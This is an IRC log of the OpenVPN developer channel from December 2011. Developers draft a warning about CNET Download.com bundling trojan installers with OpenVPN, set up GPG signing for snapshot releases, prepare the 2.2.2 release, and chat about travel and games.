11:14 < waldner> surely they added the malware installer "by mistake", just like google car collected wifi data "by mistake" 11:14 <@dazo> yupp! 11:15 < waldner> what shocks me is how people (then like now, surely) are going to acritically believe and swallow that as if nothing had happened 11:17 < ecrist> it's sad 11:17 < waldner> it is, yes 11:17 < ecrist> raidz: sooner you can put out a tweet/post the better 11:17 < ecrist> maybe even something specifically on the openvpn.net front page? 11:18 < ecrist> we do sort of work with security software, and should discourage tampered versions. ;) 11:21 <@dazo> exactly 11:24 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 248 seconds] 12:27 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:27 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:27 <@raidz> hey guys 12:28 <@raidz> ok, so the tweet 12:28 <@raidz> ecrist, you there? 12:28 < ecrist> aye 12:28 <@raidz> So should I say something like openvpn.net is the only trusted authority for software downloads? 12:28 <@raidz> what would you recommend I say? 12:29 < ecrist> I'd just say, "OpenVPN should only be downloaded from openvpn.net or other sources listed on our wiki to avoid tampered installers and source." 12:30 < ecrist> maybe with a link to one of the many article about cnet 12:30 < ecrist> or a shorter message, with a page you or someone could write up and post on openvpn.net describing the problem? 12:30 < ecrist> the latter is preferable, imo 12:31 <@raidz> I will see if mattock can do that, I have a barrage of stuff I am doing right now :-/ 12:31 < ecrist> ok 12:32 <@raidz> we should have a page on our site though 12:32 <@raidz> I agree 12:32 < ecrist> I do this this is really important, though. 12:32 <@raidz> agreed 12:32 < ecrist> there's potential for serious problems. 12:32 <@raidz> What if I tweet something in the meantime while we get a page up? 12:33 < ecrist> Sure 12:33 < ecrist> follow nmaps suite? 12:33 < ecrist> suit* 12:34 <@raidz> should I link this article: http://www.tomsguide.com/us/CNET-CBS-Malware-Trojan-Nmap,news-13410.html 12:34 <@vpnHelper> Title: CNET Accused of Bundling Software Downloads with Trojans (at www.tomsguide.com) 12:34 < ecrist> "WARNING: CNet Download.Com is distributing Microsoft-sponsored trojan installers for OpenVPN, Nmap, VLC, etc 12:34 < ecrist> I'd link this: http://seclists.org/nmap-hackers/2011/5 12:34 <@vpnHelper> Title: Nmap Hackers: C|Net Download.Com is now bundling Nmap with malware! (at seclists.org) 12:37 <@raidz> how about this: WARNING: CNET Download.com Wrapping our installer, NMAP, VLC with potential malware/trojan installers: http://bit.ly/rqL3nR 12:37 <@vpnHelper> Title: Nmap Hackers: C|Net Download.Com is now bundling Nmap with malware! (at bit.ly) 12:38 <@dazo> raidz: http://insecure.org/news/download-com-fiasco.html is probably covering things better, IMO 12:38 <@vpnHelper> Title: Download.Com Caught Adding Malware to Nmap & Other Software (at insecure.org) 12:38 <@raidz> and then follow up with a tweet that says: OpenVPN should only be downloaded from openvpn.net or other sources listed on our wiki to avoid tampered installers and source. 12:38 <@dazo> that one is getting more updates too 12:38 < ecrist> dazo: +1 12:38 <@raidz> dazo, I will use that one instead 12:39 <@raidz> WARNING: CNET Download.com Wrapping our installer, NMAP, VLC with potential malware/trojan installers: http://bit.ly/sAOkV3 12:39 <@vpnHelper> Title: Download.Com Caught Adding Malware to Nmap & Other Software (at bit.ly) 12:39 <@raidz> that can be first tweet 12:39 < ecrist> sweet 12:39 <@dazo> yeah 12:39 <@raidz> and then should I follow up with a second tween? 12:39 <@raidz> *tweet 12:39 <@raidz> OpenVPN should only be downloaded from openvpn.net or other sources listed on our wiki to avoid tampered installers and source. 12:39 <@raidz> that one ^^ ? 12:39 <@dazo> But we also have PGP signatures for our downloads as well, which should be signed by James ... 12:39 < ecrist> right. 12:40 < ecrist> I mentioned the wiki as a source of valid sources due to our weekly snapshots and such. 12:40 < ecrist> those aren't pgp signed, though. 12:40 <@dazo> yeah, true 12:40 <@raidz> Ok I will post this now: WARNING: CNET's Download.com Wrapping our installer, NMAP, and VLC with potential malware/trojan installers: http://bit.ly/sAOkV3 12:40 <@vpnHelper> Title: Download.Com Caught Adding Malware to Nmap & Other Software (at bit.ly) 12:41 <@raidz> cool? 12:41 <@dazo> perfect 12:41 < ecrist> perfect 12:41 <@raidz> then we can decide on a follow up tweet if needed and work on a page on our site 12:41 <@raidz> http://twitter.com/#!/OpenVPN/status/145211469666058240 12:41 <@vpnHelper> Title: Twitter (at twitter.com) 12:41 <@dazo> ecrist: maybe mattock or I should sign monthly snapshot packages? 12:42 < ecrist> well, I can sign them just as well, it's just something I've not bothered with. 12:43 <@dazo> yeah ... I was just thinking people might have bigger faith in our signatures, as we use them in e-mails on the ML 12:43 <@dazo> (at least I sign all my ML posts) 12:44 <@dazo> ecrist: if you send me your key id, I'll sign it 12:44 <@dazo> (you won't get the ultimate trust, before I know you are you, though :)) 12:45 <@dazo> (you could put your key ID on a file on one of the community servers which I could reach as well) 12:45 < ecrist> heh 12:45 < ecrist> should I start sending an email to the dev list with the signature each week? 12:45 < ecrist> it's hard to tamper with an entire mailing list, whereas a text file on my FTP servers can be compromised more easily 12:46 <@raidz> ^^ 12:46 <@dazo> ahh, you mean just a SHA or MD5 fingerprint? 12:47 <@dazo> sending fingerprints out on the -devel mailing list with link to the snapshot sounds good to me 12:55 <+krzee> +1, more secure than a file on the ftpd and the mail could be a reminder which leads to more snapshot usage 12:56 < ecrist> my computer crashed 12:57 * dazo believes krzee read his mind now 13:02 < ecrist> that's what I was thinking 13:04 < ecrist> dazo 9D7367F3 on keys.gnupg.net 13:27 < ecrist> ping mattock 13:27 < ecrist> could you please sign my key, as well? 14:00 <@mattock> ecrist: ok 14:04 <@mattock> dazo: actually I should probably sign my mails, too 14:04 <@dazo> probably a good idea! 14:15 < ecrist> I will be from here on 14:17 < ecrist> dazo - should I allow my tagscript to sign these tarballs? or do you feel I should do that manually? 14:18 <@dazo> ecrist: I think they should be signed manually 14:18 <@dazo> to avoid issues if the sign key gets stolen somehow 14:19 < ecrist> I'm fine with that. What process do you usually do to sign things, then? 14:22 <@dazo> I don't know what James do, he's the one doing the official source and installer signing ... but I sign the git tags with my key when we do a release 14:22 <@dazo> and all mails, I use enigmail in thunderbird ... which does the magic there 14:23 < ecrist> MacGPG is doing mail signing for me now 14:27 < ecrist> I'll figure out the tarball signing thing. 14:32 <@dazo> ecrist: gpg -a -b $file 14:36 < ecrist> yeah, found that 15:04 < ecrist> why didn't my email come through sf yet? 15:04 < ecrist> :\ 15:05 -!- dazo is now known as dazo_afk 20:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 20:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat Dec 10 2011 00:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 00:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:05 -!- trispace [~trispace@chello212017114137.18.11.vie.surfer.at] has joined #openvpn-devel 08:06 <@vpnHelper> RSS Update - tickets: #183: Documented option: --errors-to-stderr <https://community.openvpn.net/openvpn/ticket/183> 08:54 <@vpnHelper> RSS Update - tickets: #184: Documented option: --push-peer-info <https://community.openvpn.net/openvpn/ticket/184> 10:53 -!- trispace [~trispace@chello212017114137.18.11.vie.surfer.at] has left #openvpn-devel [] 16:20 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 17:08 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: All your VPN are belong to us] 17:10 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:11 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:56 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: pIRC v2.2 < Personal IRC Team > http://ircworld.ru and http://xirc.ru/] --- Day changed Sun Dec 11 2011 00:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 00:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:49 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 16:18 -!- Netsplit *.net <-> *.split quits: @raidz, uuuppz, @d12fk, @dazo_afk, @cron2, @vpnHelper, @andj, waldner, novaflash 16:18 -!- mode/#openvpn-devel [+o andj] by ChanServ 16:18 -!- Netsplit over, joins: andj 16:18 -!- waldner [~waldner@2001:470:1f08:1d5::2] has joined #openvpn-devel 16:19 -!- Netsplit over, joins: @d12fk 16:20 -!- Netsplit over, joins: @raidz, @dazo_afk, @vpnHelper 16:26 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 17:01 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 18:28 -!- rommel092079 [~ravemaste@122.2.46.76] has joined #openvpn-devel 18:28 < rommel092079> sir anybody here? can I ask question. I have posted in openvpn channel. thanks 18:28 -!- rommel092079 [~ravemaste@122.2.46.76] has left #openvpn-devel [] --- Day changed Mon Dec 12 2011 01:48 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 01:48 -!- mode/#openvpn-devel [+o raidz] by ChanServ 01:57 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:57 -!- mode/#openvpn-devel [+o cron2] by ChanServ 02:15 -!- dazo_afk is now known as dazo 02:17 -!- mode/#openvpn-devel [+o krzee] by vpnHelper 02:17 -!- mode/#openvpn-devel [+b *!*@*ravemaste@*] by krzee 02:17 -!- mode/#openvpn-devel [-o krzee] by krzee 08:52 -!- rommel092079 [~rave@184.22.193.208] has joined #openvpn-devel 08:52 < rommel092079> I got Assertion failed at crypto.c:162 after Initialization Sequence Completed. Please kindly reply on openvpn channel please. thanks 08:52 -!- rommel092079 [~rave@184.22.193.208] has left #openvpn-devel [] 11:24 -!- dazo is now known as dazo_afk 11:30 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has joined #openvpn-devel 11:44 -!- mode/#openvpn-devel [+o krzee] by vpnHelper 11:44 -!- mode/#openvpn-devel [+b *!*rave*@*] by krzee 11:45 -!- mode/#openvpn-devel [-b *!*@*ravemaste@*] by krzee 11:45 -!- mode/#openvpn-devel [-o krzee] by krzee 13:59 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: All your VPN are belong to us] 13:59 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:00 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:05 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: All your VPN are belong to us] 14:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:06 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:13 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: All your VPN are belong to us] 14:14 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:14 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:05 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:05 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Tue Dec 13 2011 00:46 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: All your VPN are belong to us] 00:46 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 00:46 -!- mode/#openvpn-devel [+o raidz] by ChanServ 03:15 <@cron2> some days one should not get out of bed... 03:16 < waldner> how true 05:11 -!- waldner [~waldner@2001:470:1f08:1d5::2] has quit [Changing host] 05:11 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 07:52 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 07:58 -!- dazo_afk is now known as dazo 09:13 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has quit [Quit: Leaving.] 10:53 <@mattock> the syspro/tap-driver bug is now gone 10:56 <@dazo> \o/ 10:59 <@mattock> two positive test reports already 11:00 <@mattock> dazo: I'm probably going to book the flights for Brussels later today 11:00 <@mattock> are you by any chance coming? 11:00 <@dazo> mattock: cool! Yeah, I'm going .... the prices jumped a bit, but not too much so I'll take a chance 11:01 <@mattock> excellent! 11:01 <@mattock> I'm thinking of Tue-Sun or Wed-Sun (got to be back by Monday evening) 11:01 <@mattock> my $wife / $fiancee is also coming 11:02 <@dazo> ahh, cool! I don't know about mine yet, though ... but I'm thinking Fri-Mon 11:02 <@mattock> there's the "spouses tour" :D 11:02 <@dazo> might change slightly if the prices are better :) 11:02 <@mattock> yep 11:02 <@mattock> I'm probably going to work a little while I'm there (except during the weekend) 11:03 <@dazo> yeah, I told my wife about it ... and she said: "Okay, that makes it interesting. Maybe I can get to know how others handle their geeks?" 11:03 <@mattock> otherwise I have to work like a madman after/before 11:03 <@mattock> hahahaha :) 11:03 <@mattock> women ... :P 11:03 <@dazo> non-geeky women, I might add :-P 11:04 * dazo is happy his wife can't read this now ..... 11:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:06 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:07 <@cron2> hrhr 11:07 <@cron2> my wife *is* a geek, which makes handling things somewhat easier :) 11:10 <+krzee> lol 11:11 <+krzee> my current girl's brother is a geek and they're very close... 11:12 <@dazo> Well, I can't complain ... my wife is a very understanding wife and allows me to have my hacking time :) 11:12 <@dazo> (she even reminds me of the developer meetings here on Thursdays) 11:12 <+krzee> haha cool 11:14 <+krzee> but cron has us both beat 11:14 <@dazo> cron2: just sent a proposal to fix Trac #147 (IPv6 errors on server side) 11:14 <@dazo> krzee: indeed! :) 11:23 <@mattock> dazo: any magic command for pushing stuff to bare git repos? 11:23 <@mattock> or pulling stuff to them from outside 11:24 <@mattock> ah, I think I found the magic command line 11:24 <@mattock> testing... 11:25 <@dazo> mattock: git --bare clone? 11:25 <@dazo> (never tried though) 11:25 <@mattock> actually it was just git push ssh://blabla/directory/something.git 11:25 <@mattock> and the git-update-server-info 11:28 <@dazo> ahh, yeah, that's the push way .... I thought you said pull ;-) 11:35 <@mattock> I said both :D 11:42 <@mattock> ecrist: when will vBulletin be ready for publishing? 11:42 <@mattock> we can probably take care of the theming part, btw 11:43 <@mattock> also, I'll sign your GPG key tomorrow, got to eat something now 12:17 < ecrist> most of my girlfriends aren't geeks, but I have one who is. 12:18 < ecrist> mattock: soon. Working on the LDAP stuff this week. 12:18 < ecrist> that's really the hurdle 12:20 < ecrist> the other thing I need to do is get the template/layout done, but that's just fun, and hardly a major issue. 12:20 < ecrist> it is my priority between now and end of year 12:20 < ecrist> hoping for a roll-out the first week of 2012 12:53 <@mattock> ecrist: ok, good to hear! 12:54 < ecrist> I think users will be unhappy that the old forum content will be gone, but I think it's a move for the better 14:21 <@dazo> mattock: just your trac tickets left on the 2.2.2 release :) 14:21 <@mattock> omg :P 14:21 <@dazo> mattock: unless there's any code changes needed, I can tag the tree quite soonish 14:22 <@mattock> I'll get the tickets sorted out tomorrow 14:22 <@dazo> cool! 14:22 <@mattock> I'm booking flights now :) 14:22 <@dazo> :) 14:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:48 <@dazo> ^^^ ... how could a sleeping computer say it has gone to sleep? ...... 14:58 <@mattock> good question 15:01 -!- dazo is now known as dazo_afk 15:17 <@cron2> time warp 16:16 -!- novaflash is now known as novaflash_away 17:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:25 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 17:25 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:26 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:28 <@raidz> !meetings 17:28 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 17:28 <@raidz> cool 17:28 <@raidz> ecrist: you around? 17:30 <@raidz> ecrist: I have a developer working on openvpn.net site, If you want to e-mail me some temporary creds to your vbulletin staging server I could see if he can setup a good looking template for forums, e-mail is andrew@openvpn.net 18:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:02 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 19:03 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:03 -!- mode/#openvpn-devel [+v krzie] by ChanServ 19:51 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has joined #openvpn-devel 20:20 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has quit [Ping timeout: 252 seconds] 21:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Dec 14 2011 02:01 <@mattock> dazo: none of my ticket prevent tagging 2.2.2 02:01 <@mattock> except the pcks11 support... 02:01 <@mattock> I'll mail a link to the patch that fixes that 02:02 <@mattock> it's already in the trac ticket 02:13 -!- novaflash_away is now known as novaflash 02:17 -!- dazo_afk is now known as dazo 02:37 <@mattock> mail sent 03:10 <@andj> Arrgggh 03:10 <@andj> sorry for the toppost :) 04:07 <@dazo> hehehe 04:08 <@dazo> mattock: I'm considering to just apply your patch, just like that :) 04:08 <@dazo> mattock: anything else you'll need to get changed before a release? 04:08 <@mattock> well, andj's patch has been accepted already 04:09 <@dazo> ahh! did you do a cherry-pick? or did you "rewrite" it? 04:09 <@mattock> I don't think so... except if we want to enable pkcs11 support by default 04:09 * dazo suddenly understood why the patch looked familiar 04:09 <@mattock> well, I manually cherry picked the parts I needed :P 04:09 <@dazo> hehe :) 04:10 <@mattock> the same lines had PolarSSL stuff, which I did not need 04:10 <@dazo> okay, I find it way easier to just do: git cherry-pick -x ${commitish} 04:10 <@mattock> but it should be safe 04:10 <@mattock> ah, didn't know about that 04:10 <@dazo> there's also an argument to not automatically do a commit if you want to edit it before commit 04:11 <@dazo> git cherry-pick is a wonderful tool :) 04:11 <@mattock> got to try it out next time :) 04:11 <@mattock> I thought "cherry picking" was just an expression you liked to use :P 04:11 <@dazo> lol .... well, yeah, it is that too! :-P 04:21 <@dazo> mattock: when you build with this patch and PKCS#11 enabled ... will [PKCS11] be visible openvpn --version? 04:22 <@mattock> I think so, but at least the --pkcs11-* options are there 04:22 <@mattock> and without the patch, they're not 04:23 <@mattock> so, in theory, pkcs11 support should be there 04:23 <@mattock> but there are no test reports 04:23 <@mattock> =no responses to my mail regarding pkcs11 support 04:23 <@dazo> goodie! well, most of the places in the code, it's ENABLE_PKCS11 which is needed .... which is defined in syshead.h ... and --pkcs11-* options needs that as well 05:10 <@dazo> mattock: https://community.openvpn.net/openvpn/query?group=status&milestone=release+2.2.2 ... I presume #182 don't require any upstream commits ... what about #171? 05:10 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 05:11 <@mattock> #171: no problem, fixed easily, no changes to the code necessary 05:11 <@mattock> same with #182 05:11 <@mattock> both only affect packaging 05:13 <@dazo> mattock: Then I'll tag the tree, and prepare source balls 05:13 <@mattock> yep, I think it's safe to do now 05:14 <@mattock> I'll prepare everything for release tomorrow 05:18 <@cron2> cool 05:30 <@dazo> git tree tagged and pushed ... sources ready for mattock to distribute :) 05:30 <@mattock> excellent! 05:31 <@mattock> I'll try to get James to sign the release files tomorrow before/during the meeting 05:31 <@dazo> goodie! 05:31 <@dazo> I won't be able to manage the meeting tomorrow :( ... but I don't think anything is sticked to me right now 05:32 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has joined #openvpn-devel 06:29 * cron2 won't make the meeting either (christmas party) 06:48 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 09:18 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 09:18 -!- mode/#openvpn-devel [+v janjust] by ChanServ 09:19 <+janjust> yo all 09:19 <+janjust> can one of the developers take a look at https://forums.openvpn.net/topic9380.html 09:19 <@vpnHelper> Title: OpenVPN Support Forum DNS Round robin : client not failing over : Server Administration (at forums.openvpn.net) 09:19 <+janjust> seems that openvpn resolves the remote hostname at startup , not on reconnects 09:19 <+janjust> any way to change that? 09:20 <+krzee> i ran into that recently, what a coincidence 09:20 <+krzee> i ended up using 20 pre-set --remote entries 09:20 <+janjust> krzee! yo dude! whassup :) 09:20 <+krzee> that i manage in dns separately 09:20 <+krzee> hey jan! 09:21 <+janjust> ah, that's what I told that guy as well... but it does sound like a nice feature 09:21 <+janjust> to add 09:21 <+krzee> i agree, maybe even an option to control it so as to not add unnecessary dns traffic under normal conditions 09:23 <+janjust> yep, the default behaviour works fine, but openvpn already detects that there are multiple IPs for a single dns name 09:23 <+janjust> might as well throw in a switch to choose randomly from the resolved IPs 09:23 <@dazo> I think it is a high TTL on the DNS record 09:23 <@dazo> so it hasn't expired in the local cache 09:24 <+krzee> janjust, well i found that android would never use a second ip 09:24 <+krzee> it would see them, and choose 1 09:24 <+krzee> but then if it got disconnected, it would never try to resolve again 09:24 <+janjust> dazo: take a look at socket.c , line 1066 (in 2.2.1 code base) 09:24 <+krzee> nor would it add each ip to a different --remote 09:24 <+janjust> if (!sock->did_resolve_remote) ..... 09:25 <+krzee> it would choose 1, and stick to it forever (unless it didnt work on orig connection, then it would try the next) 09:25 <+janjust> when I read the sources correctly (socket.c) then this seems to be the behaviour , yes 09:25 <+krzee> i think the best would be to treat every IP as a different --remote 09:25 <+krzee> then the --remote-random would apply to it 09:25 <+janjust> that's also an approach, yes 09:25 <+krzee> and then it wouldnt be a dns issue anymore 09:26 <+janjust> and independent of the DNS TTL record 09:26 <+krzee> i guess a flag is needed for how often to lookup and replace --remote entries 09:27 <@dazo> janjust: have you tried to change sock->did_resolve_remote = true; to sock->did_resolve_remote = false; in line 1161? 09:27 <@dazo> just to see if that breaks something or not 09:28 <+janjust> nope, I didn't (and I don't have the right setup here for the described issue); I can do it and veriry whether "normal" setups still work though 09:28 <@dazo> (as I read the code, that would force a name lookup on each call) 09:28 <+janjust> veriry -> verFy 09:28 <@dazo> heh :) 09:28 <+janjust> .... 09:29 <+janjust> now that I'm here: any news on FOSDEM next year? 09:29 <@dazo> I'm just looking for tickets, mattock is going 09:29 <+janjust> do I get my t shirt if I come too :) 09:29 <@dazo> oh ... I had forgotten about t-shirts .... I sure hope so!!! :) 09:30 <+janjust> hehee action4mattock 09:30 <+janjust> are you guys going both days ? 09:31 <@dazo> yeah, even a few more ... not sure exactly how/when ... but at least both conference days 09:31 <+janjust> Brussels is nice ... I'm thinking about going one of the 2 days (probably saturday) 09:33 <@dazo> cool! 09:34 <@dazo> janjust: btw ... we're about to wrap together a v2.2.2 release .... https://community.openvpn.net/openvpn/query?group=status&milestone=release+2.2.2 09:34 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 09:35 <+janjust> cool 09:35 <@dazo> mattock got the last things to solve, which is packaging ... but that's good to beware of 09:35 <@dazo> ticket #126 is a nasty bug in the tap driver which got introduced in 2.2.0 09:38 <@dazo> (hopefully, we're getting our hands around starting the 2.3 beta rounds soonish too ... but that's another story) 09:42 <+janjust> tap driver bug? hmmm I'll want to test this renew release then 09:42 <+janjust> I have one minor patch sitting on my plate , related to elliptical encryption 09:43 <@dazo> nice! get it posted asap, and I'll try to make andj review it :) 09:43 <+janjust> and I'm currently playing with openssl 1.0.1 - there are some really interesting performance improvements in it , for "regular" SSL sessions 09:43 <@dazo> we can get that one into master/v2.3 09:43 <+janjust> openssl 1.0.1 can do encryption and signing in one go - it can improve SSL sessions up to a factor of 10 09:44 <+janjust> I'm not sure how openvpn would need to be adapted to make use of it , though 09:44 <@dazo> !???!!!?!!!? 09:44 <@dazo> wow! 09:44 <@dazo> that would be pretty awesome to get into as well 09:45 < ecrist> janjust: just the person I wanted to see 09:45 < ecrist> mind if I pm? 09:45 <+janjust> yep, but it might require a protocol change 09:45 <+janjust> go ahead, ecrist 09:46 <@dazo> ahh, I see ... well, if you can share what you have when you're ready ... I'm interested in that 09:49 <+janjust> I'll let you know when I've finished my investigation 09:50 <@dazo> thx! 09:59 <@dazo> oh crap! merging in James' SVN stuff is not going to be fun any more ... with all openssl stuff moved to ssl_openssl.c 10:08 <@dazo> oh good ... manually cherry-picking solved it 10:08 <+janjust> << out 10:08 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:17 <@vpnHelper> RSS Update - testtrac: Allow "tap-win32 dynamic " to be used in topology <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=e3f1b6a1f23fa03bad3b954b260f14622f2c9897> || Fixed client issues with DHCP Router option extraction/deletion when <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=840799182c0769c8ac9d014d09a497563516fc0d> || Added "memstats" o 10:20 <@dazo> okay, now we're in sync with James again 10:30 <@mattock> nice 10:32 <@dazo> crap, buildbot reveals some issues again on non-typical ./configure confnigs 10:54 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:54 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:23 -!- dazo is now known as dazo_afk 11:51 <@raidz> got your e-mail ecrist 11:51 <@raidz> I will have our dev register soon and let you know 11:51 <@raidz> thnks 11:51 < ecrist> ok, as soon as I see it, I'll get the admin rights set up 11:57 <@raidz> thanks ecrist! 12:24 <@cron2> dazo: tell me again why we're still pulling problems from SVN? 13:07 <@cron2> mmmh. I take back the "problems" part (that buildbot fail wasn't related to SVN), but I'm still wondering - these patches haven't been reviewed, haven't been ACKed, and James promised to switch to git 13:16 <+krzee> when i said this above, re: taking rr-dns and making each a separate --remote 13:16 <+krzee> [11:26] <krzee> i guess a flag is needed for how often to lookup and replace --remote entries 13:16 <+krzee> i was wrong, it should do it TTL often 13:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:30 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 16:29 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:29 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:40 < ecrist> hrm, MW3 or vB LDAP plugin 16:40 < ecrist> hard choice 16:40 < ecrist> I dare say, some n00bs need pwning 16:43 <@raidz> MW3 16:44 <@raidz> ecrist: you on Xbox Live or PSN? 16:44 < ecrist> live 16:44 < ecrist> the only 'real' console 16:44 <@raidz> nice, same 16:44 < ecrist> :P 16:44 <@raidz> agreed 16:44 <@raidz> my xbox live nick: raidz101 16:44 < ecrist> mnslinky if you care 16:45 <@raidz> I will add ya 16:45 < ecrist> sweet! 16:45 <@raidz> my favorite game type is Domination 16:45 < ecrist> that can be fun 16:45 < ecrist> I've been playing a lot of ground war, when my buddies are on, we prefer party chat over game chat, so we avoid the game types that don't allow party chat 16:46 <@raidz> Ahh, I do ground ware with my friends too, lots of fun 16:46 <@raidz> Please tell me you aren't one of those dudes that snipes or runs around with a shotgun 16:47 < ecrist> no, in MW3 I generally get my arse kicked 16:47 < ecrist> see, having a job and a family keeps my n00b rating high 16:47 <@raidz> hahaha 16:48 <@raidz> I am not super good by any means, but I am not terrible either, I enjoy it 16:48 <@raidz> and usually kick ass in domination 16:48 < ecrist> my buddy is a camper 16:48 <@raidz> ASSHOLE! 16:48 < ecrist> which works, because I hate campers, but he kills me 16:48 <@raidz> I hate campers, wish they got booted 16:48 < ecrist> I generally win, though, in vs 16:48 <@raidz> hehe 16:49 <@raidz> see, in domination 16:49 < ecrist> bah, camping is just a strategy like run&gun 16:49 <@raidz> its hard to camp 16:49 < ecrist> right 16:49 <@raidz> unless they have two of the flags 16:49 < ecrist> well, I'm going to head to the beverage store, maybe I'll see you online later. 16:50 <@raidz> sounds good! I will be on later tonight most likley 16:50 < ecrist> which tz are you in? 16:50 <@raidz> pst 16:50 <@raidz> you are two hours ahead of me 16:50 < ecrist> lol 16:50 < ecrist> 16:50:30 [Freenode] CTCP TIME reply from raidz: wut 16:51 <@raidz> haha 16:51 * ecrist poofs 16:51 <@raidz> seeyas 21:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Dec 15 2011 04:30 -!- dazo_afk is now known as dazo 04:48 <@vpnHelper> RSS Update - testtrac: Fix compiling with --disable-crypto and/or --disable-ssl <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=1d5c4433cdb7ab0a9d9f7496e6dc2cee189d375f> 05:56 <@dazo> \o/ all green again in buildbot :) 06:56 <@cron2> cool 08:02 < ecrist> raidz: didn't make it online last night 08:02 < ecrist> that whole having-a-family thing got in the way 08:03 < ecrist> ensuring my n00b status for another night. 08:30 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has quit [Read error: Connection reset by peer] 09:28 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has joined #openvpn-devel 09:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:40 <@mattock> ah, finally the whole debian package generation is automated 100% 10:40 <@mattock> this time outside buildbot, using fabric 10:40 <@mattock> we can provide, say, weekly snapshots fairly easily now 10:43 < 